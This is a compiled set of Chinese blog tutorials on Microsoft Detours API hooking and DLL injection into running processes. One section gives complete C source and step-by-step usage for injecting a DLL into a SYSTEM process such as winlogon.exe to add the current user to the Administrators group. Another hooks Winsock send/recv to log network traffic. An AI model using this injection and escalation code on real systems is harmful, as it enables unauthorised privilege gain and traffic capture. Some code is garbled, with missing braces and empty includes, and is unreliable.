Detours

当然是用detours,微软明显高腾讯一筹,同上,至今没失败过.写这种HOOK一定要再写个测试程序,不要直接HOOK你的目的程序,例如QQ,因为这样不方面更灵活的测试.
说明一下:Detours是微软开发的一个函数库(源代码可在http://research.microsoft.com/sn/detours 免费获得)用于修改运行中的程序在内存中的影像,从而即使没有源代码也能改变程序的行为。具体用途是:拦截WIN32 API调用,将其引导到自己的子程序,从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程,装入自己的代码并运行。

简介Detours的原理,Detours库函数的用法, 并利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试程序”的用户权限的用户成为系统管理员,附录利用Detours库函数修改该程序使普通用户即可成为系统管理员(在NT4 SP3上)。

一. Detours的原理

---- 1. WIN32进程的内存管理

---- 总所周知,WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间, 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册, 以下仅指出与Detours相关的几点:

---- (1) 进程要执行的指令也放在虚存空间中 
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序 
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码

---- 2. 拦截WIN32 API的原理

---- Detours定义了三个概念:

---- (1) Target函数:要拦截的函数,通常为Windows的API。 
---- (2) Trampoline函数:Target函数的复制品。因为Detours将会改写Target函数,所以先把Target函数复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。
---- (3) Detour 函数:用来替代Target函数的函数。

---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下:

拦截前:Target _ Function: 
;Target函数入口,以下为假想的常见的子程序入口代码 
push ebp 
mov ebp, esp 
push eax 
push ebx 
Trampoline: 
;以下是Target函数的继续部分 
……

拦截后: Target _ Function: 
jmp Detour_Function 
Trampoline: 
;以下是Target函数的继续部分 
……

Trampoline_Function: 
; Trampoline函数入口, 开头的5个字节与Target函数相同 
push ebp 
mov ebp, esp 
push eax 
push ebx 
;跳回去继续执行Target函数 
jmp Target_Function+5 
---- 3. 为一个已在运行的进程装入一个DLL

---- 以下是其步骤:

---- (1) 创建一个ThreadFuction,内容仅是调用LoadLibrary。 
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存,并把权限更改为可读可写可执行。 
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。 
---- (4) 用CreateRemoteThread在该进程上创建一个线程,传入前面分配的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。

二. Detours库函数的用法

---- 因为Detours软件包并没有附带帮助文件,以下接口仅从剖析源代码得出。

---- 1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

---- 功能:从一DLL中找出一函数的入口地址 
---- 参数:pszModule是DLL名,pszFunction是函数名。 
---- 返回:名为pszModule的DLL的名为pszFunction的函数的入口地址 
---- 说明:DetourFindFunction除使用GetProcAddress外,还直接分析DLL的文件头,因此可以找到一些GetProcAddress找不到的函数入口。

---- 2. DETOUR_TRAMPOLINE(trampoline_prototype, target_name) 
---- 功能:该宏把名为target_name 的Target函数生成Trampoline函数,以后调用 trampoline_prototype在语义上等于调用Target函数。

---- 3. BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
---- 功能:用Detour 函数拦截Target函数 
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 4. BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
---- 功能:恢复Target函数 
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 5. BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName) 
---- 功能:为一个已在运行的进程装入一个DLL 
---- 参数:hProcess是进程的句柄,lpDllName是要装入的DLL名

三. 程序实例

---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等,使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL,因为该DLL在这些进程的安全上下文环境运行,所以有相应的权限。

---- 先编写相应的DLL:

/*admin.dll, 当进程装入时会把名为szAccountName 
的用户加入到Administrators本地组。*/

#include 
#include 
#include 
#include

/*以下创建一共享段实现进程间的数据通讯, 
szAccountName 是用户名,bPrepared说明 
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE") 
BOOL bPrepared=FALSE; 
wchar_t szAccountName[100]={0}; 
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序调用SetAccountName设置要加入到Administrators 
本地组的用户名,并通知DllMain 
已初始化szAccountName , 
以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI 
SetAccountName(wchar_t *Name) 

wcscpy(szAccountName,Name); 
bPrepared=TRUE; 
}

/*把名为szAccountName的用户加入 
到Administrators本地组*/

__declspec(dllexport) VOID WINAPI ElevatePriv() 

LOCALGROUP_MEMBERS_INFO_3 account; 
account.lgrmi3_domainandname=szAccountName; 
NetLocalGroupAddMembers(NULL,L"Administrators", 
3,(LPBYTE)&account,1); 
}

__declspec(dllexport) ULONG WINAPI 
DllMain(HINSTANCE hInstance, 
DWORD dwReason, PVOID lpReserved) 

switch (dwReason) { 
case DLL_THREAD_ATTACH: 
if (bPrepared) 
ElevatePriv(); 

return TRUE; 
}

程序如下:

/*AddMeToAdministrators.exe 把当前用户加入到 
Administrators本地组。使用方法为:(1) 
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID (2)执行AddMeToAdministrators.exe procid, 其中procid为(1)记下的进程ID (3)签退再签到,运行用户管理器,即可发现自己已在Administrators本地组中。*/

#include 
#include 
#include 
#include 
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名称*/

void GetCurrentUser(wchar_t *szName) 

HANDLE hProcess, hAccessToken; 
wchar_t InfoBuffer[1000],szAccountName[200], 
szDomainName[200]; 
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; 
DWORD dwInfoBufferSize,dwAccountSize = 200, 
dwDomainSize = 200; 
SID_NAME_USE snu;

hProcess = GetCurrentProcess();

OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

GetTokenInformation(hAccessToken,TokenUser, 
InfoBuffer, 
1000, &dwInfoBufferSize);

LookupAccountSid(NULL, pTokenUser->User.Sid, 
szAccountName, 
&dwAccountSize,szDomainName, &dwDomainSize, &snu); 
wcscpy(szName,szDomainName); 
wcscat(szName,L"\"); 
wcscat(szName,szAccountName); 
}

/* EnablePrivilege启用自己的“调试程序”的用户权限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable) 

HANDLE hToken; 
if (!OpenProcessToken(GetCurrentProcess(), 
TOKEN_ADJUST_PRIVILEGES, &hToken)) 
return FALSE; 
TOKEN_PRIVILEGES tp; 
tp.PrivilegeCount = 1; 
LookupPrivilegeValue(NULL, szPrivName, 
&tp.Privileges[0].Luid); 
tp.Privileges[0].Attributes = fEnable ? 
SE_PRIVILEGE_ENABLED : 0; 
AdjustTokenPrivileges(hToken, FALSE, &tp, 
sizeof(tp), NULL, NULL); 
return((GetLastError() == ERROR_SUCCESS)); 
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, 
LPSTR lpszCmdLine, int 
nCmdShow) 

INT argc; 
WCHAR **argv; 
argv = CommandLineToArgvW(GetCommandLineW(), 
&argc); 
INT nProcessId = -1; 
if (argc!=2){ 
wprintf(L"usage %s pid", argv[0]); 
return 1; 

nProcessId = _wtoi(argv[1]); 
printf("%d",nProcessId); 
---- /*要成功执行ContinueProcessWithDll,要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限,EnablePrivilege使本进程有这样的权利。*/

if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){ 
printf("AdjustTokenPrivilege Fail %u", 
(UINT)GetLastError()); 
return 1; 

HANDLE gNewHandle = 
OpenProcess(PROCESS_ALL_ACCESS 
, TRUE, nProcessId); 
if (!gNewHandle){ 
printf("OpenProcess Fail %u", 
(UINT)GetLastError()); 
return 1; 

wchar_t szName[100]; 
GetCurrentUser(szName); 
SetAccountName(szName); 
If (!ContinueProcessWithDll(gNewHandle, 
L"c:\temp\admin.dll")) { 
printf("ContinueProcessWithDll failed %u", 
(UINT)GetLastError()); 
return 3; 

return 0; 

---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员,因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限,只能授予给可信用户。

四. 结论 ---- Detours是一强大的工具,提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。

 
 
 

Detours 是Microsoft开发一个库,下载地址http://research.microsoft.com/en-us/projects/detours/,它具有两方面的功能:

1 拦截x86机器上的任意的win32 API函数。

2 插入任意的数据段到PE文件中,修改DDL文件的导入表。

Detours库可以拦截任意的API调用,拦截代码是在动态运行时加载的。Detours替换目标API最前面的几条指令,使其无条件的跳转到用户提供的拦截函数。被替换的API函数的前几条指令被保存到trampoline 函数(就是内存中一个数据结构)中. trampoline保存了被替换的目标API的前几条指令和一个无条件转移,转移到目标API余下的指令。

当执行到目标API时,直接跳到用户提供的拦截函数中执行,这时拦截函数就可以执行自己的代码了。当然拦截函数可以直接返回,也可以调用trampoline函数,trampoline函数将调用被拦截的目标API,目标API调用结束后又会放回到拦截函数。下图就是Detours API拦截的逻辑流程:

Detours API 拦截原理:在汇编层改变目标API出口和入口的一些汇编指令。这里略过。

Detours API 拦截技术的使用方法

先贴一个例子:

  1. #include <windows.h>
  2. #include <detours.h>
  3. // Target pointer for the uninstrumented Sleep API.
  4. static VOID (WINAPI * TrueSleep)(DWORD dwMilliseconds) = Sleep;
  5. // Detour function that replaces the Sleep API.
  6. VOID WINAPI TimedSleep(DWORD dwMilliseconds)
  7. {
  8. TrueSleep(dwMilliseconds);
  9. }
  10. // DllMain function attaches and detaches the TimedSleep detour to the
  11. // Sleep target function.  The Sleep target function is referred to
  12. // through the TrueSleep target pointer.
  13. BOOL WINAPI DllMain(HINSTANCE hinst,DWORD dwReason, LPVOID reserved)
  14. {
  15. if (dwReason == DLL_PROCESS_ATTACH) {
  16. DetourTransactionBegin();
  17. DetourUpdateThread(GetCurrentThread());
  18. DetourAttach(&(PVOID&)TrueSleep, TimedSleep);
  19. DetourTransactionCommit();
  20. }
  21. else if (dwReason == DLL_PROCESS_DETACH) {
  22. DetourTransactionBegin();
  23. DetourUpdateThread(GetCurrentThread());
  24. DetourDetach(&(PVOID&)TrueSleep, TimedSleep);
  25. DetourTransactionCommit();
  26. }
  27. return TRUE;
  28. }
  1. #include <windows.h>
  2. #include <detours.h>
  3. // Target pointer for the uninstrumented Sleep API.
  4. static VOID (WINAPI * TrueSleep)(DWORD dwMilliseconds) = Sleep;
  5. // Detour function that replaces the Sleep API.
  6. VOID WINAPI TimedSleep(DWORD dwMilliseconds)
  7. {
  8. TrueSleep(dwMilliseconds);
  9. }
  10. // DllMain function attaches and detaches the TimedSleep detour to the
  11. // Sleep target function.  The Sleep target function is referred to
  12. // through the TrueSleep target pointer.
  13. BOOL WINAPI DllMain(HINSTANCE hinst, DWORD dwReason, LPVOID reserved)
  14. {
  15. if (dwReason == DLL_PROCESS_ATTACH) {
  16. DetourTransactionBegin();
  17. DetourUpdateThread(GetCurrentThread());
  18. DetourAttach(&(PVOID&)TrueSleep, TimedSleep);
  19. DetourTransactionCommit();
  20. }
  21. else if (dwReason == DLL_PROCESS_DETACH) {
  22. DetourTransactionBegin();
  23. DetourUpdateThread(GetCurrentThread());
  24. DetourDetach(&(PVOID&)TrueSleep, TimedSleep);
  25. DetourTransactionCommit();
  26. }
  27. return TRUE;
  28. }

大家都知道,API HOOK都是写到DLL中的,Detours也不例外。这个例子是要hook Sleep函数,首先用TrueSleep这个函数指针保持真正的Sleep的地址。然定义一个自己的伪Sleep函数叫做TimedSleep,在这个函数中你可以做任意你想做的事情。在这个DLL被加载的时候,即DLL_PROCESS_ATTACH的时候,调用Detours函数DetourAttach(&(PVOID&)TrueSleep, TimedSleep)使用TimedSleep替换了TrueSleep。DetourTransactionBegin(),DetourUpdateThread()在Attach和Dettach之前都要调用这个函数,就是套路。最后在DLL_PROCESS_DETACH的时候解除对Sleep的hook。就是unhook。

1介绍
  Api hook包括两部分:api调用的截取和api函数的重定向。通过api hook可以修改函数的参数和返回值。关于原理的详细内容参见《windows核心编程》第19章和第22章。

2 Detours API hook
"Detours is a library for intercepting arbitrary Win32 binary functions onx86 machines. Interception code is applied dynamically at runtime. Detoursreplaces the first few instructions of the target function with anunconditional jump to the user-provided detour function. Instructions from thetarget function are placed in a trampoline. The address of the trampoline isplaced in a target pointer. The detour function can either replace the targetfunction, or extend its semantics by invoking the target function as asubroutine through the target pointer to the trampoline."

在Detours库中,驱动detours执行的是函数 DetourAttach(…).

LONG DetourAttach(

PVOID * ppPointer,

PVOID pDetour

);

这个函数的职责是挂接目标API,函数的第一个参数是一个指向将要被挂接函数地址的函数指针,第二个参数是指向实际运行的函数的指针,一般来说是我们定义的替代函数的地址。但是,在挂接开始之前,还有以下几件事需要完成:

需要对detours进行初始化.
需要更新进行detours的线程.
这些可以调用以下函数很容的做到:

DetourTransactionBegin()
DetourUpdateThread(GetCurrentThread()) 
在这两件事做完以后,detour函数才是真正地附着到目标函数上。在此之后,调用DetourTransactionCommit()是detour函数起作用并检查函数的返回值判断是正确还是错误。

2.1 hook DLL 中的函数

在这个例子中,将要hookwinsock中的函数 send(…)和recv(…).在这些函数中,我将会在真正调用send或者recv函数前,把真正说要发送或者接收的消息写到一个日志文件中去。注意:我们自定义的替代函式一定要与被hook的函数具有相同的参数和返回值。例如,send函数的定义是这样的:

int send(

__in  SOCKET s,

__in  const char *buf,

__in  int len,

__in  int flags

);

因此,指向这个函数的指针看起来应该是这样的:

int (WINAPI *pSend)(SOCKET, const char*,int, int) = send;

把函数指针初始化成真正的函数地址是ok的;另外还有一种方式是把函数指针初始化为NULL,然后用函数DetourFindFunction(…)指向真正的函式地址.把send(…)和 recv(…)初始化:

int (WINAPI *pSend)(SOCKET s, const char*buf, int len, int flags) = send;

int WINAPI MySend(SOCKET s, const char*buf, int len, int flags);

int (WINAPI *pRecv)(SOCKET s, char* buf,int len, int flags) = recv;

int WINAPI MyRecv(SOCKET s, char* buf, intlen, int flags);

现在,需要hook的函数和重定向到的函数已经定义好了。这里使用 WINAPI是因为这些函数是用 __stdcall 返回值的导出函数,现在开始hook:

INT APIENTRY DllMain(HMODULE hDLL, DWORDReason, LPVOID Reserved)

{

switch(Reason)

{

case DLL_PROCESS_ATTACH:

DisableThreadLibraryCalls(hDLL);

DetourTransactionBegin();

DetourUpdateThread(GetCurrentThread());

DetourAttach(&(PVOID&)pSend, MySend);

if(DetourTransactionCommit() == NO_ERROR)

OutputDebugString("send()detoured successfully");

break;

.

}

它基本上是用上面介绍的步骤开始和结束 —— 初始化,更新detours线程,用DetourAttach(…)开始hook函数,最后调用DetourTransactionCommit() 函数, 当调用成功时返回 NO_ERROR, 失败是返回一些错误码.下面是我们的函数的实现,我发送和接收的信息写入到一个日志文件中:

int WINAPI MySend(SOCKET s, const char*buf, int len, int flags)

{

fopen_s(&pSendLogFile, "C:\\SendLog.txt", "a+");

fprintf(pSendLogFile, "%s\n", buf);

fclose(pSendLogFile);

return pSend(s, buf, len, flags);

}

int WINAPI MyRecv(SOCKET s, char* buf, intlen, int flags)

{

fopen_s(&pRecvLogFile, "C:\\RecvLog.txt", "a+");

fprintf(pRecvLogFile, "%s\n", buf);

fclose(pRecvLogFile);

return pRecv(s, buf, len, flags);

}

2.2hook自定义c 函数

举例来说明,假如有一个函数,其原型为

int RunCmd(const char* cmd);

如果要hook这个函数,可以按照以下几步来做:

a)     include 声明这个函数的头文件

b)     定义指向这个函数的函数指针,int (*RealRunCmd)(const char*) = RunCmd;

c)     定义detour函数,例如: int DetourRunCmd(constchar*);

d)     实现detour函数,如:

Int DetourRunCmd(const char* cmd)

{

//extend the function,add whatyou want:)

Return RealRunCme(cmd);

}

这样就完成了hookRunCmd函数的定义,所需要的就是调用DetourAttack

DetourTransactionBegin();

DetourUpdateThread(GetCurrentThread());

DetourAttach(&(PVOID&)RealRunCmd, DetourRunCmd);

if(DetourTransactionCommit()== NO_ERROR)

{

//error

}

2.3 hook类成员函数
   Hook类成员函数通过在static函数指针来实现

还是举例说明,假如有个类定义如下:

class CData

{

public:

CData(void);

virtual ~CData(void);

int Run(const char*cmd);

};

现在需要hook intCData::Run(const char*)这个函数,可以按照以下几步:

a) 声明用于hook的类

class CDataHook

{

public:

int DetourRun(constchar* cmd);

static int (CDataHook::*RealRun)(const char* cmd);

};

b) 初始化类中的static函数指针

int (CDataHook::*CDataHook::RealRun)(const char* cmd) = (int (CDataHook::*)(constchar*))&CData::Run;

c) 定义detour函数

int CDataHook::DetourRun(constchar* cmd)

{

//添加任意你想添加的代码

int iRet =(this->*RealRun)(cmd);

return iRet;

}

e)     调用detourAttach函数

DetourTransactionBegin();

DetourUpdateThread(GetCurrentThread());

DetourAttach(&(PVOID&)CDataHook::RealRun,(PVOID)(&(PVOID&)CDataHook::DetourRun));

if(DetourTransactionCommit() == NO_ERROR)

{

//error

}

2.4 DetourCreateProcessWithDll

使用这个函数相当于用CREATE_SUSPENDED 标志调用函数CreateProcess. 新进程的主线程处于暂停状态,因此DLL能在函数被运行钱被注入。注意:被注入的DLL最少要有一个导出函数. 如用testdll.dll注入到notepad.exe中:

#undef UNICODE

#include <cstdio>

#include <windows.h>

#include <detours\detours.h>

int main()

{

STARTUPINFOsi;

PROCESS_INFORMATIONpi;

ZeroMemory(&si,sizeof(STARTUPINFO));

ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));

si.cb= sizeof(STARTUPINFO);

char*DirPath = new char[MAX_PATH];

char*DLLPath = new char[MAX_PATH]; //testdll.dll

char*DetourPath = new char[MAX_PATH]; //detoured.dll

GetCurrentDirectory(MAX_PATH,DirPath);

sprintf_s(DLLPath,MAX_PATH, "%s\\testdll.dll", DirPath);

sprintf_s(DetourPath,MAX_PATH, "%s\\detoured.dll", DirPath);

DetourCreateProcessWithDll(NULL,"C:\\windows\\notepad.exe",

NULL,NULL,FALSE, CREATE_DEFAULT_ERROR_MODE, NULL, NULL,&si, &pi, DetourPath,DLLPath, NULL);

delete[] DirPath;

delete[] DLLPath;

delete[] DetourPath;

return0;

}

2.5 Detouring by Address
假如出现这种情况怎么办?我们需要hook的函数既不是一个标准的WIN32 API,也不是导出函数。这时我们需要吧我们的程序和被所要注入的程序同事编译,或者,把函数的地址硬编码:

 

 

#undef UNICODE

#include <cstdio>

#include <windows.h>

#include <detours\detours.h>

typedef void (WINAPI *pFunc)(DWORD);

void WINAPI MyFunc(DWORD);

pFunc FuncToDetour =(pFunc)(0x0100347C); //Set it at address to detour in                   

//the process

INT APIENTRY DllMain(HMODULE hDLL, DWORDReason, LPVOID Reserved)

{   

       switch(Reason)   

       {   

       caseDLL_PROCESS_ATTACH:       

              {           

                     DisableThreadLibraryCalls(hDLL);           

                     DetourTransactionBegin();           

                     DetourUpdateThread(GetCurrentThread());           

                     DetourAttach(&(PVOID&)FuncToDetour,MyFunc);           

                     DetourTransactionCommit();       

              }       

              break;   

       caseDLL_PROCESS_DETACH:       

              DetourTransactionBegin();       

              DetourUpdateThread(GetCurrentThread());       

              DetourDetach(&(PVOID&)FuncToDetour,MyFunc);       

              DetourTransactionCommit();       

              break;   

       caseDLL_THREAD_ATTACH:   

       caseDLL_THREAD_DETACH:       

              break;   

       }   

       returnTRUE;

}

void WINAPI MyFunc(DWORD someParameter)

{   

       //Somemagic can happen here

}

http://nokyo.blogbus.com/logs/35243687.html

·            【原创】Detours API HOOK快速入门

2009-02-16

分类:信息安全

版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
http://nokyo.blogbus.com/logs/35243687.html

简单介绍一下Detours API HOOK的用法。

什么是Detours

简单地说,Detours是微软提供的一个开发库,使用它可以简单、高校、稳定地实现API HOOK的功能。

Detours是一个可以在x86、x64和IA64平台上测试任意Win32函数的程序开发库。它可以通过为目标函数重写在内存中的代码而达到拦截Win32函数的目的。Detours还可以将任意的DLL或数据片段(称之为有效载荷)注入到任意Win32二进制文件中。Detours 被广泛应用在微软内部和其他行业中。

你可以从微软官方网站下载到Detours的express版本,目前最新版本是2.1,它包含有下列的崭新特性:

l 完整的Detours API文档

l 附加和拆卸处理模块

l 支持附加和拆卸Detours的时候更新对等线程

l 静态和动态注入单个API

l 支持监视注入后的进程

l 改进后更加健壮的API可以将一个挂钩函数,通过一个进程附着到dll上

l 新的API通过复制将有效载荷注入到目标进程中

l 支持x64和IA64平台上的64-位源代码(仅专业版可用)

l 支持Visual Studio 2005,Visual Studio .NET 2003, Visual Studio .NET(VC8)以及Visual Studio (VC7)开发工具

Detours的使用

Detours开发包被下载回来会不能直接使用,安装完毕后需要自己使用nmake生成相应的DLL以及lib文件。这里我已经编译好了,随文附上,一共有四个文件,分别是detoured.dll、detoured.lib、detours.lib、detours.h。

我们需要编写一个DLL,然后将该DLL注入到目标进程的空间中,(注意这里我们需要将生成的hook.dll和detoured.dll都复制到目标进程目录,或者将他们复制到system32目录等地方)下面我给一个例子,如下所示:

// HOOK.CPP

#include "Detours.h"

#pragmacomment(lib,"detours.lib")

#pragmacomment(lib,"detoured.lib")

// 共享数据段

#pragma data_seg("MyData")

DWORD nPid = 0; // 受保护的进程PID

#pragma data_seg()

BOOL APIENTRY DllMain( HANDLE hModule,

DWORD  ul_reason_for_call,

LPVOID lpReserved )

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

case DLL_THREAD_ATTACH:

{

// 安装 HOOK

SetHook(TRUE);

break;

}

case DLL_PROCESS_DETACH:

{

// 卸载 HOOK

SetHook(FALSE);

}

case DLL_THREAD_DETACH:

default:

break;

}

return TRUE;

}

/*

* 函数:SetHook

*

* 作用:安装/卸载 API HOOK

*

* 参数:TRUE - 安装,FALSE - 卸载

*

* 返回:无

*/

void SetHook(BOOL flag)

{

if (flag)

{

DetourRestoreAfterWith();

DetourTransactionBegin();

DetourUpdateThread(GetCurrentThread());

// HOOK 函数列表

DetourAttach(&(PVOID&)Old_OpenProcess,New_OpenProcess);

DetourTransactionCommit();

}

else

{

DetourTransactionBegin();

DetourUpdateThread(GetCurrentThread());

// 取消 HOOK 函数列表

DetourDetach(&(PVOID&)Old_OpenProcess,New_OpenProcess);

DetourTransactionCommit();

}

}

/*

* 函数:New_OpenProcess

*

* 作用:拦截系统 OpenProcess 函数调用

*/

HANDLE WINAPI New_OpenProcess(DWORDdwDesiredAccess,

BOOL bInheritHandle,

DWORD dwProcessId)

{

// 是否为可信任程序

if (strcmp(szCurrentApp, szTrustFile) != 0)

{

// 是否为受保护进程

if (dwProcessId == nPid)

{

return NULL;

}

}

return Old_OpenProcess( dwDesiredAccess,

bInheritHandle,

dwProcessId);

}

// HOOK.H

static HANDLE (WINAPI*Old_OpenProcess)(DWORD dwDesiredAccess,

BOOL bInheritHandle,

DWORD dwProcessId) = OpenProcess;

HANDLE WINAPI New_OpenProcess(DWORDdwDesiredAccess,

BOOL bInheritHandle,

DWORD dwProcessId);

然后要在def文件中将New_OpenProcess函数导出,最后将生成的HOOK.DLL注入到其他进程空间就可以了。

不过需要说明的是,上述程序远远不够完善,我删掉了很多代码,而那些代码也是很重要的,比如设置受保护进程的PID、设置可信程序路径等函数我都删掉了,你必须发挥自己的聪明才智来解决这些问题。

提示一下,我采用的方法是专门导出一个函数SetOption,它得到设置选项后便更新共享驱动里面的变量,这样便可以简单达到目的了。

http://blog.csdn.net/jiangxinyu/article/details/8086692

Detours简介 (拦截x86机器上的任意的win32 API函数)的更多相关文章

  1. 【翻译】运行于x86机器上的FreeBSD的PCI中断

    来源 http://people.freebsd.org/~jhb/papers/bsdcan/2007/article/article.html 摘要 在拥有多个独立设备的计算机里一个重要的元素是一 ...

  2. Windows 7,64位机器上安装DB2 7.2+FP7

    1.要想在Windows 7,64位机器上安装DB2 7.2+FP7,注意:1)拷贝所有安装文件到本地2)设置setup.exe文件兼容windows 20003)使得users用户勾选“完全控制”权 ...

  3. 图文解说Win7系统机器上发布C#+ASP.NET网站

      1.     概述 在一台干净的Win7机器上发布ASP.NET网站需要准备的有: a)        .NET Framework 环境 b)        数据库 c)        IIS ...

  4. 在Linux机器上安装MySQL

    在Linux机器上安装MySQL,仔细认真些就没有问题. CentOS 7下MySQL 5.7安装.配置与应用_数据库技术_Linux公社-Linux系统门户网站 搞不定的话,直接删掉这个MySQL, ...

  5. 警惕32位程序在MethodImplOptions.Synchronized在x64机器上的同步缺陷[z]

    https://www.cnblogs.com/junchu25/archive/2012/08/10/2631422.html 上周四产品上线一切运行正常,做了一点小改动后周四晚上发布,周五大量用户 ...

  6. 关于在真实物理机器上用cloudermanger或ambari搭建大数据集群注意事项总结、经验和感悟心得(图文详解)

    写在前面的话 (1) 最近一段时间,因担任我团队实验室的大数据环境集群真实物理机器工作,至此,本人秉持负责.认真和细心的态度,先分别在虚拟机上模拟搭建ambari(基于CentOS6.5版本)和clo ...

  7. 开发机器上利用vs2013调试远程IIS上的c#程序

    当远程IIS上的C#程序出现问题,怎么排错,一般我们通过看日志排查错误的方法,这种方法在程序异常日志都打印出来的情况下是可以解决的,但如果程序日志不详细,或者从日志看不出有用的内容的时候怎么排错? 本 ...

  8. android studio 64位手机+Fresco引起的在arm64位机器上找不到对应的so库

    我们的程序在32位机器上没有问题,有一天公司采购了一台魅族MX5 MTK的64位处理器上我们的应用报错了 "nativeLibraryDirectories=[/data/app/com.l ...

  9. 100台机器上海量IP如何查找出现频率 Top 100?

    场景题 有 100 机器,每个机器的磁盘特别大,磁盘大小为 1T,但是内存大小只有 4G,现在每台机器上都产生了很多 ip 日志文件,每个文件假设有50G,那么如果计算出这 100 太机器上访问量最多 ...

随机推荐

  1. Visual Studio的2个有趣的插件:声音控制和放屁:)

    .NET Slave | Talk to, hear, touch and see your code介绍了2个有趣的Visual Studio的插件,你可以通过它们和你的代码对话. 声音控制(Voi ...

  2. isEqual,isEqualTostring,==三者的区别

    isEqual:首先判断两个字对象的类型是否相同,在判断内容是否相同,如果类型不同直接return no.如先判断是否都是 NSString,在判断string的内容. isEqualTostring ...

  3. UNDERSTANDING VOLATILE VIA EXAMPLE--reference

    We have spent last couple of months stabilizing the lock detection functionality in Plumbr. During t ...

  4. [转] socket异步编程--libevent的使用

    这篇文章介绍下libevent在socket异步编程中的应用.在一些对性能要求较高的网络应用程序中,为了防止程序阻塞在socket I/O操作上造成程序性能的下降,需要使用异步编程,即程序准备好读写的 ...

  5. 模板-->Matrix重载运算符:+,-,x

    如果有相应的OJ题目,欢迎同学们提供相应的链接 相关链接 所有模板的快速链接 poj_2118_Firepersons,my_ac_code 简单的测试 INPUT: 1 2 3 1 3 4 3 -1 ...

  6. Facade 门面模式 外观模式

    简介 作用: (1)封装一组交互类,一致地对外提供接口 (2)封装子系统,简化子系统调用 JDK中体现:java.util.logging包 java.lang.Class javax.faces.w ...

  7. IP 转地址

    1.需要  QQWry.Dat IP 地址数据库 2辅助类库 using System; using System.Collections.Generic; using System.IO; usin ...

  8. js星级评分点击星级评论打分效果--收藏--转载

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  9. android 中Log - 简单使用

    例如,我们可以使用'Log.d'进行Debug,在java代码中输入Log.d(String tag, String message),tag为自己命名的tag,message为待输出的信息.然后打开 ...

  10. hdu 1042 N!(大数的阶乘)

    N! Time Limit: 10000/5000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total Submiss ...